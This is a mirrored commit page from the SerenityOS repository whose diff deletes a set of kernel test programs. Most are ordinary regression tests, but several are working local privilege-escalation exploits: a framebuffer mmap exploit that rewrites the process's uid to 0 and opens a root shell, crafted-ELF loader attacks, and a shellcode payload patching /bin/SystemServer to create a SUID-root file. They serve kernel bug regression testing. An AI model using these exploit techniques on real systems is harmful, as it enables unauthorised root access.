mirror of
https://github.com/RGBCube/serenity
synced 2025-07-26 13:37:44 +00:00
Tests: Build automatically, fix compilation errors
This commit is contained in:
Ben Wiederhake
Andreas Kling
parent
538b985487
commit
29eceebdbf
21 changed files with 31 additions and 1 deletions
|
|
@ -1,31 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
constexpr const char* path = "/tmp/foo";
|
||||
int rc = symlink("bar", path);
|
||||
if (rc < 0) {
|
||||
perror("symlink");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int fd = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
if (fd < 0) {
|
||||
perror("socket");
|
||||
return 1;
|
||||
}
|
||||
|
||||
struct sockaddr_un addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sun_family = AF_UNIX;
|
||||
strncpy(addr.sun_path, path, sizeof(addr.sun_path) - 1);
|
||||
|
||||
rc = bind(fd, (struct sockaddr*)(&addr), sizeof(addr));
|
||||
if (rc < 0 && errno == EADDRINUSE)
|
||||
return 0;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
|
@ -1,92 +0,0 @@
|
|||
#include <AK/Types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
int fd = open("/dev/fb0", O_RDWR);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
|
||||
size_t width = 17825;
|
||||
size_t height = 1000;
|
||||
size_t pitch = width * 4;
|
||||
size_t framebuffer_size_in_bytes = pitch * height * 2;
|
||||
|
||||
FBResolution original_resolution;
|
||||
if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) {
|
||||
perror("ioctl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
FBResolution resolution;
|
||||
resolution.width = width;
|
||||
resolution.height = height;
|
||||
resolution.pitch = pitch;
|
||||
|
||||
if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) {
|
||||
perror("ioctl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Success! Evil pointer: %p\n", ptr);
|
||||
|
||||
u8* base = &ptr[128 * MB];
|
||||
|
||||
uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
|
||||
printf("base = %p\n", base);
|
||||
printf("g_processes = %#08x\n", g_processes);
|
||||
|
||||
auto get_ptr = [&](uintptr_t value) -> void* {
|
||||
value -= 0xc0000000;
|
||||
return (void*)&base[value];
|
||||
};
|
||||
|
||||
struct ProcessList {
|
||||
uintptr_t head;
|
||||
uintptr_t tail;
|
||||
};
|
||||
|
||||
struct Process {
|
||||
// 32 next
|
||||
// 40 pid
|
||||
// 44 uid
|
||||
u8 dummy[32];
|
||||
uintptr_t next;
|
||||
u8 dummy2[4];
|
||||
pid_t pid;
|
||||
uid_t uid;
|
||||
};
|
||||
|
||||
ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
|
||||
|
||||
Process* process = (Process*)get_ptr(process_list->head);
|
||||
|
||||
printf("{%p} PID: %d, UID: %d, next: %#08x\n", process, process->pid, process->uid, process->next);
|
||||
|
||||
if (process->pid == getpid()) {
|
||||
printf("That's me! Let's become r00t!\n");
|
||||
process->uid = 0;
|
||||
}
|
||||
|
||||
if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) {
|
||||
perror("ioctl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
execl("/bin/sh", "sh", nullptr);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,46 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
int rc = fcntl(0, -42);
|
||||
if (rc != -1) {
|
||||
printf("FAIL: rc was %d, instead of -1\n", rc);
|
||||
return 1;
|
||||
} else if (errno != EINVAL) {
|
||||
printf("FAIL: errno was %d, instead of EINVAL=%d\n", errno, EINVAL);
|
||||
return 1;
|
||||
} else {
|
||||
printf("PASS\n");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,128 +0,0 @@
|
|||
#include <LibELF/exec_elf.h>
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
volatile bool hax = false;
|
||||
|
||||
int main()
|
||||
{
|
||||
char buffer[16384];
|
||||
|
||||
auto& header = *(Elf32_Ehdr*)buffer;
|
||||
header.e_ident[EI_MAG0] = ELFMAG0;
|
||||
header.e_ident[EI_MAG1] = ELFMAG1;
|
||||
header.e_ident[EI_MAG2] = ELFMAG2;
|
||||
header.e_ident[EI_MAG3] = ELFMAG3;
|
||||
header.e_ident[EI_CLASS] = ELFCLASS32;
|
||||
header.e_ident[EI_DATA] = ELFDATA2LSB;
|
||||
header.e_ident[EI_VERSION] = EV_CURRENT;
|
||||
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
|
||||
header.e_ident[EI_ABIVERSION] = 0;
|
||||
header.e_type = ET_EXEC;
|
||||
header.e_version = EV_CURRENT;
|
||||
header.e_ehsize = sizeof(Elf32_Ehdr);
|
||||
header.e_machine = EM_386;
|
||||
header.e_shentsize = sizeof(Elf32_Shdr);
|
||||
|
||||
header.e_phnum = 1;
|
||||
header.e_phoff = 52;
|
||||
header.e_phentsize = sizeof(Elf32_Phdr);
|
||||
|
||||
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
|
||||
ph[0].p_vaddr = 0x20000000;
|
||||
ph[0].p_type = PT_LOAD;
|
||||
ph[0].p_filesz = sizeof(buffer);
|
||||
ph[0].p_memsz = sizeof(buffer);
|
||||
ph[0].p_flags = PF_R | PF_W;
|
||||
ph[0].p_align = PAGE_SIZE;
|
||||
|
||||
header.e_shnum = 3;
|
||||
header.e_shoff = 1024;
|
||||
|
||||
u32 secret_address = 0x00184658;
|
||||
|
||||
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
|
||||
sh[0].sh_type = SHT_SYMTAB;
|
||||
sh[0].sh_offset = 2048;
|
||||
sh[0].sh_entsize = sizeof(Elf32_Sym);
|
||||
sh[0].sh_size = 1 * sizeof(Elf32_Sym);
|
||||
|
||||
sh[1].sh_type = SHT_STRTAB;
|
||||
sh[1].sh_offset = secret_address - 0x01001000;
|
||||
sh[1].sh_entsize = 0;
|
||||
sh[1].sh_size = 1024;
|
||||
|
||||
sh[2].sh_type = SHT_STRTAB;
|
||||
sh[2].sh_offset = 4096;
|
||||
sh[2].sh_entsize = 0;
|
||||
sh[2].sh_size = 1024;
|
||||
header.e_shstrndx = 2;
|
||||
|
||||
auto* sym = (Elf32_Sym*)(&buffer[2048]);
|
||||
sym[0].st_value = 0;
|
||||
sym[0].st_name = 0;
|
||||
|
||||
header.e_entry = 0;
|
||||
|
||||
int fd = open("x", O_RDWR | O_CREAT, 0777);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int nwritten = write(fd, buffer, sizeof(buffer));
|
||||
if (nwritten < 0) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
sync();
|
||||
|
||||
auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, fd, 0);
|
||||
if (mapped == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
|
||||
|
||||
pthread_attr_t attrs;
|
||||
pthread_attr_init(&attrs);
|
||||
sched_param high_prio { 99 };
|
||||
pthread_attr_setschedparam(&attrs, &high_prio);
|
||||
|
||||
pthread_t t;
|
||||
pthread_create(
|
||||
&t, &attrs, [](void* ctx) -> void* {
|
||||
auto& ph = *(volatile Elf32_Phdr*)ctx;
|
||||
for (;;) {
|
||||
if (!hax)
|
||||
ph.p_offset = 0x60000000;
|
||||
else
|
||||
ph.p_offset = 0;
|
||||
hax = !hax;
|
||||
usleep(1);
|
||||
}
|
||||
return nullptr;
|
||||
},
|
||||
&writable_program_headers[0]);
|
||||
|
||||
for (;;) {
|
||||
|
||||
if (!fork()) {
|
||||
try_again:
|
||||
printf("exec\n");
|
||||
if (execl("/home/anon/x", "x", nullptr) < 0) {
|
||||
}
|
||||
goto try_again;
|
||||
}
|
||||
|
||||
printf("waitpid\n");
|
||||
waitpid(-1, nullptr, 0);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,106 +0,0 @@
|
|||
#include <LibELF/exec_elf.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
asm("haxcode:\n"
|
||||
"1: jmp 1b\n"
|
||||
"haxcode_end:\n");
|
||||
|
||||
extern "C" void haxcode();
|
||||
extern "C" void haxcode_end();
|
||||
|
||||
int main()
|
||||
{
|
||||
char buffer[16384];
|
||||
|
||||
auto& header = *(Elf32_Ehdr*)buffer;
|
||||
header.e_ident[EI_MAG0] = ELFMAG0;
|
||||
header.e_ident[EI_MAG1] = ELFMAG1;
|
||||
header.e_ident[EI_MAG2] = ELFMAG2;
|
||||
header.e_ident[EI_MAG3] = ELFMAG3;
|
||||
header.e_ident[EI_CLASS] = ELFCLASS32;
|
||||
header.e_ident[EI_DATA] = ELFDATA2LSB;
|
||||
header.e_ident[EI_VERSION] = EV_CURRENT;
|
||||
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
|
||||
header.e_ident[EI_ABIVERSION] = 0;
|
||||
header.e_type = ET_EXEC;
|
||||
header.e_version = EV_CURRENT;
|
||||
header.e_ehsize = sizeof(Elf32_Ehdr);
|
||||
header.e_machine = EM_386;
|
||||
header.e_shentsize = sizeof(Elf32_Shdr);
|
||||
|
||||
header.e_phnum = 1;
|
||||
header.e_phoff = 52;
|
||||
header.e_phentsize = sizeof(Elf32_Phdr);
|
||||
|
||||
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
|
||||
ph[0].p_vaddr = 0x20000000;
|
||||
ph[0].p_type = PT_LOAD;
|
||||
ph[0].p_filesz = sizeof(buffer);
|
||||
ph[0].p_memsz = sizeof(buffer);
|
||||
ph[0].p_flags = PF_R | PF_X;
|
||||
ph[0].p_align = PAGE_SIZE;
|
||||
|
||||
header.e_shnum = 3;
|
||||
header.e_shoff = 1024;
|
||||
|
||||
u32 secret_address = 0x00184658;
|
||||
|
||||
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
|
||||
sh[0].sh_type = SHT_SYMTAB;
|
||||
sh[0].sh_offset = 2048;
|
||||
sh[0].sh_entsize = sizeof(Elf32_Sym);
|
||||
sh[0].sh_size = 2 * sizeof(Elf32_Sym);
|
||||
|
||||
sh[1].sh_type = SHT_STRTAB;
|
||||
sh[1].sh_offset = secret_address - 0x01001000;
|
||||
sh[1].sh_entsize = 0;
|
||||
sh[1].sh_size = 1024;
|
||||
|
||||
sh[2].sh_type = SHT_STRTAB;
|
||||
sh[2].sh_offset = 4096;
|
||||
sh[2].sh_entsize = 0;
|
||||
sh[2].sh_size = 1024;
|
||||
header.e_shstrndx = 2;
|
||||
|
||||
auto* sym = (Elf32_Sym*)(&buffer[2048]);
|
||||
sym[0].st_value = 0x20002000;
|
||||
sym[0].st_name = 0;
|
||||
|
||||
sym[1].st_value = 0x30000000;
|
||||
sym[1].st_name = 0;
|
||||
|
||||
auto* strtab = (char*)&buffer[3072];
|
||||
strcpy(strtab, "sneaky!");
|
||||
|
||||
auto* shstrtab = (char*)&buffer[4096];
|
||||
strcpy(shstrtab, ".strtab");
|
||||
|
||||
auto* code = &buffer[8192];
|
||||
size_t haxcode_size = (u32)haxcode_end - (u32)haxcode;
|
||||
printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
|
||||
memcpy(code, (void*)haxcode, haxcode_size);
|
||||
|
||||
header.e_entry = 0x20000000 + 8192;
|
||||
|
||||
int fd = open("x", O_RDWR | O_CREAT, 0777);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int nwritten = write(fd, buffer, sizeof(buffer));
|
||||
if (nwritten < 0) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (execl("/home/anon/x", "x", nullptr) < 0) {
|
||||
perror("execl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,70 +0,0 @@
|
|||
#include <AK/Types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
int fd = open("/bin/SystemServer", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
|
||||
perror("mprotect");
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*
|
||||
*
|
||||
* This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
|
||||
* It does two things:
|
||||
*
|
||||
* chown ("/home/anon/own", 0, 0);
|
||||
* chmod ("/home/anon/own", 04755);
|
||||
*
|
||||
* In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
|
||||
*
|
||||
*/
|
||||
|
||||
#if 0
|
||||
[bits 32]
|
||||
[org 0x0804b111]
|
||||
jmp $+17
|
||||
path:
|
||||
db "/home/anon/own", 0
|
||||
mov eax, 79
|
||||
mov edx, path
|
||||
mov ecx, 0
|
||||
mov ebx, 0
|
||||
int 0x82
|
||||
mov eax, 67
|
||||
mov edx, path
|
||||
mov ecx, 15
|
||||
mov ebx, 2541
|
||||
int 0x82
|
||||
ret
|
||||
#endif
|
||||
|
||||
const u8 payload[] = {
|
||||
0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
|
||||
0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
|
||||
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
|
||||
0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
|
||||
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
|
||||
0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
|
||||
};
|
||||
|
||||
memcpy(&ptr[0x3111], payload, sizeof(payload));
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,155 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <pthread.h>
|
||||
#include <assert.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static void signal_printer(int)
|
||||
{
|
||||
// no-op
|
||||
}
|
||||
|
||||
typedef struct yank_shared_t {
|
||||
timespec* remaining_sleep;
|
||||
// TODO: Be nice and use thread ID
|
||||
//pthread_t sleeper_thread;
|
||||
} yank_shared_t;
|
||||
|
||||
static void* yanker_fn(void* shared_)
|
||||
{
|
||||
yank_shared_t* shared = static_cast<yank_shared_t*>(shared_);
|
||||
|
||||
timespec requested_sleep = { 1, 0 };
|
||||
int rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker: Failed during sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
delete shared->remaining_sleep; // T2
|
||||
|
||||
// Send SIGUSR1.
|
||||
|
||||
// Use pthread:
|
||||
// pthread_kill(somewhere, SIGUSR1);
|
||||
// But wait! pthread_kill isn't implemented yet, and therefore causes
|
||||
// a linker error. It also looks like the corresponding syscall is missing.
|
||||
|
||||
// Use normal IPC syscall:
|
||||
// kill(getpid(), SIGUSR1);
|
||||
// But wait! If destination_pid == own_pid, then the signal is sent
|
||||
// to the calling thread, *no matter what*.
|
||||
|
||||
// So, we have to go the very ugly route of fork():
|
||||
// (Thank goodness this is only a demo of a kernel bug!)
|
||||
pid_t pid_to_kill = getpid();
|
||||
|
||||
pid_t child_pid = fork();
|
||||
if (child_pid < 0) {
|
||||
printf("Yanker: Fork failed: %d\n", child_pid);
|
||||
pthread_exit(nullptr); // See below
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
if (child_pid > 0) {
|
||||
// Success. Terminate quickly. T3
|
||||
// FIXME: LibPthread bug: returning during normal operation causes nullptr deref.
|
||||
// Workaround: Exit manually.
|
||||
pthread_exit(nullptr);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Give parent *thread* a moment to die.
|
||||
requested_sleep = { 1, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker-child: Failed during sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Prod the parent *process*
|
||||
kill(pid_to_kill, SIGUSR1); // T4
|
||||
|
||||
// Wait a moment, to ensure the log output is as well-separated as possible.
|
||||
requested_sleep = { 2, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker-child: Failed during after-sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
pthread_exit(nullptr);
|
||||
assert(false);
|
||||
// FIXME: return nullptr;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
// Chronological order:
|
||||
// T0: Main thread allocates region for the outvalue of clock_nanosleep
|
||||
// T1: Main thread enters clock_nanosleep
|
||||
// T2: Side thread deallocates that region
|
||||
// T3: Side thread dies
|
||||
// T4: A different process sends SIGUSR1, waking up the main thread,
|
||||
// forcing the kernel to write to the deallocated Region.
|
||||
|
||||
// I'm sorry that both a side *thread* and a side *process* are necessary.
|
||||
// Maybe in the future this test can be simplified, see above.
|
||||
|
||||
yank_shared_t shared = { nullptr };
|
||||
shared.remaining_sleep = new timespec({ 0xbad, 0xf00d }); // T0
|
||||
|
||||
pthread_t yanker_thread;
|
||||
int rc = pthread_create(&yanker_thread, nullptr, yanker_fn, &shared);
|
||||
if (rc != 0) {
|
||||
perror("pthread");
|
||||
printf("FAIL\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set an action for SIGUSR1, so that the sleep can be interrupted:
|
||||
signal(SIGUSR1, signal_printer);
|
||||
|
||||
// T1: Go to sleep.
|
||||
const timespec requested_sleep = { 3, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, shared.remaining_sleep);
|
||||
// Now we are beyond T4.
|
||||
|
||||
if (rc == 0) {
|
||||
// We somehow weren't interrupted. Bad.
|
||||
printf("Not interrupted.\n");
|
||||
printf("FAIL\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// nanosleep was interrupted and the kernel didn't crash. Good!
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,36 +0,0 @@
|
|||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/select.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int pipefds[2];
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pipe(pipefds);
|
||||
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
printf("ST: close()\n");
|
||||
close(pipefds[1]);
|
||||
pthread_exit(nullptr);
|
||||
return nullptr;
|
||||
},
|
||||
nullptr);
|
||||
|
||||
fd_set rfds;
|
||||
FD_ZERO(&rfds);
|
||||
FD_SET(pipefds[1], &rfds);
|
||||
|
||||
printf("MT: select()\n");
|
||||
int rc = select(pipefds[1] + 1, &rfds, nullptr, nullptr, nullptr);
|
||||
if (rc < 0) {
|
||||
perror("select");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,21 +0,0 @@
|
|||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/select.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
asm volatile("ud2");
|
||||
return nullptr;
|
||||
},
|
||||
nullptr);
|
||||
|
||||
pthread_join(tid, nullptr);
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,16 +0,0 @@
|
|||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
if (!fork()) {
|
||||
for (;;) {
|
||||
mkdir("/tmp/x", 0666);
|
||||
rmdir("/tmp/x");
|
||||
}
|
||||
}
|
||||
for (;;) {
|
||||
chdir("/tmp/x");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,25 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
int res = pledge("stdio unix rpath", "stdio");
|
||||
if (res < 0) {
|
||||
perror("pledge");
|
||||
return 1;
|
||||
}
|
||||
|
||||
res = pledge("stdio unix", "stdio unix");
|
||||
if (res >= 0) {
|
||||
fprintf(stderr, "second pledge should have failed\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
res = pledge("stdio rpath", "stdio");
|
||||
if (res < 0) {
|
||||
perror("pledge");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,71 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <pthread.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
#include <ctime>
|
||||
#include <cstring>
|
||||
#include <cassert>
|
||||
|
||||
struct worker_t
|
||||
{
|
||||
const char* name;
|
||||
int count;
|
||||
pthread_t thread;
|
||||
pthread_mutex_t lock;
|
||||
pthread_cond_t cond;
|
||||
long int wait_time;
|
||||
};
|
||||
|
||||
void* run_worker(void* args)
|
||||
{
|
||||
struct timespec time_to_wait = {0, 0};
|
||||
worker_t* worker = (worker_t*)args;
|
||||
worker->count = 0;
|
||||
|
||||
while (worker->count < 25) {
|
||||
time_to_wait.tv_sec = time(nullptr) + worker->wait_time;
|
||||
pthread_mutex_lock(&worker->lock);
|
||||
int rc = pthread_cond_timedwait(&worker->cond, &worker->lock, &time_to_wait);
|
||||
|
||||
// Validate return code is always timed out.
|
||||
assert(rc == -1);
|
||||
assert(errno == ETIMEDOUT);
|
||||
|
||||
worker->count++;
|
||||
printf("Increase worker[%s] count to [%d]\n", worker->name, worker->count);
|
||||
pthread_mutex_unlock(&worker->lock);
|
||||
}
|
||||
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
void init_worker(worker_t* worker, const char* name, long int wait_time)
|
||||
{
|
||||
worker->name = name;
|
||||
worker->wait_time = wait_time;
|
||||
|
||||
pthread_attr_t attr;
|
||||
pthread_attr_init(&attr);
|
||||
pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
|
||||
|
||||
pthread_mutex_init(&worker->lock, nullptr);
|
||||
pthread_cond_init(&worker->cond, nullptr);
|
||||
pthread_create(&worker->thread, &attr, &run_worker, (void*) worker);
|
||||
|
||||
pthread_attr_destroy(&attr);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
worker_t worker_a;
|
||||
init_worker(&worker_a, "A", 2L);
|
||||
|
||||
worker_t worker_b;
|
||||
init_worker(&worker_b, "B", 4L);
|
||||
|
||||
pthread_join(worker_a.thread, nullptr);
|
||||
pthread_join(worker_b.thread, nullptr);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
|
|
@ -1,30 +0,0 @@
|
|||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int pipefds[2];
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pipe(pipefds);
|
||||
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
printf("Second thread closing pipes!\n");
|
||||
close(pipefds[0]);
|
||||
close(pipefds[1]);
|
||||
pthread_exit(nullptr);
|
||||
return nullptr;
|
||||
},
|
||||
nullptr);
|
||||
|
||||
printf("First thread doing a blocking read from pipe...\n");
|
||||
char buffer[16];
|
||||
int nread = read(pipefds[0], buffer, sizeof(buffer));
|
||||
printf("Ok, read %d bytes from pipe\n", nread);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,378 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
